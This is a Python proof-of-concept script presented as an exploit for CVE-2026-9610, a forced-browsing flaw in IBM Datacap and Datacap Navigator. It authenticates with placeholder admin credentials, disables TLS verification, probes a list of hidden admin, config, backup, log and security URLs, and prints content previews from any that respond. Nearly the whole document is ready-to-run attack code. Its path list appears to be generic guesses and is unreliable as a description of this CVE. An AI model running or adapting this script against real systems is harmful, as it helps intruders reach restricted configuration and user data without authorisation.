# CVE-2026-9610 PoC - IBM Datacap Forced Browsing / Unauthorized Resource Access
# Vulnerability: Exposed resources accessible via direct URL request, bypassing access controls
# Affected: IBM Datacap 9.1.7, 9.1.8, 9.1.9 / IBM Datacap Navigator 9.1.7, 9.1.8, 9.1.9
# CVSS: 2.3 (LOW) | AV:L/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N
import requests
from urllib.parse import urljoin
# Configuration
TARGET_HOST = "https://target-datacap-server.example.com"
ADMIN_USER = "admin"
ADMIN_PASS = "password123" # Requires high-privilege credentials (PR:H)
# Common hidden resource paths in IBM Datacap / Datacap Navigator
HIDDEN_PATHS = [
"/admin/config",
"/admin/systemSettings",
"/dco/config",
"/navigator/admin",
"/datacap/internal/api",
"/admin/users",
"/dco/backup",
"/admin/diagnostics",
"/navigator/config",
"/admin/logs",
"/dco/rules",
"/admin/security",
"/navigator/internal",
"/datacap/admin/dashboard",
"/dco/admin/tasks"
]
def exploit_forced_browsing(target_host, credentials, paths):
"""
Exploit CVE-2026-9610 by directly requesting URLs that are not linked
in the UI but are accessible on the server, bypassing intended access controls.
"""
session = requests.Session()
# Step 1: Authenticate with high-privilege credentials
login_url = urljoin(target_host, "/auth/login")
auth_payload = {
"username": credentials["user"],
"password": credentials["pass"]
}
print(f"[*] Authenticating to {target_host}...")
resp = session.post(login_url, data=auth_payload, verify=False)
if resp.status_code == 200:
print(f"[+] Authentication successful")
else:
print(f"[-] Authentication failed: {resp.status_code}")
return
# Step 2: Enumerate and access hidden resources via direct URL requests
print(f"\n[*] Probing {len(paths)} hidden resource paths...")
print("-" * 60)
accessible_resources = []
for path in paths:
url = urljoin(target_host, path)
try:
resp = session.get(url, allow_redirects=False, timeout=10)
# Check if resource is accessible (not 404, 403, or redirect to login)
if resp.status_code == 200 and len(resp.content) > 0:
print(f"[+] ACCESSIBLE: {path} (Status: {resp.status_code}, Size: {len(resp.content)} bytes)")
accessible_resources.append({
"url": url,
"status": resp.status_code,
"size": len(resp.content),
"content_preview": resp.text[:200]
})
elif resp.status_code == 403:
print(f"[-] FORBIDDEN: {path} (Status: 403)")
elif resp.status_code == 404:
print(f"[?] NOT FOUND: {path} (Status: 404)")
else:
print(f"[?] UNKNOWN: {path} (Status: {resp.status_code})")
except requests.exceptions.RequestException as e:
print(f"[!] ERROR: {path} - {str(e)}")
# Step 3: Report findings
print("\n" + "=" * 60)
print(f"[RESULTS] {len(accessible_resources)} accessible hidden resources found")
print("=" * 60)
for resource in accessible_resources:
print(f"\nURL: {resource['url']}")
print(f"Status: {resource['status']}")
print(f"Content Preview: {resource['content_preview']}...")
return accessible_resources
if __name__ == "__main__":
credentials = {"user": ADMIN_USER, "pass": ADMIN_PASS}
results = exploit_forced_browsing(TARGET_HOST, credentials, HIDDEN_PATHS)
# Note: This vulnerability requires high-privilege access (PR:H).
# The risk is primarily from insider threats or post-compromise scenarios
# where an attacker has already obtained administrative credentials.
# Impact: Confidentiality Low (C:L), Integrity None (I:N), Availability None (A:N)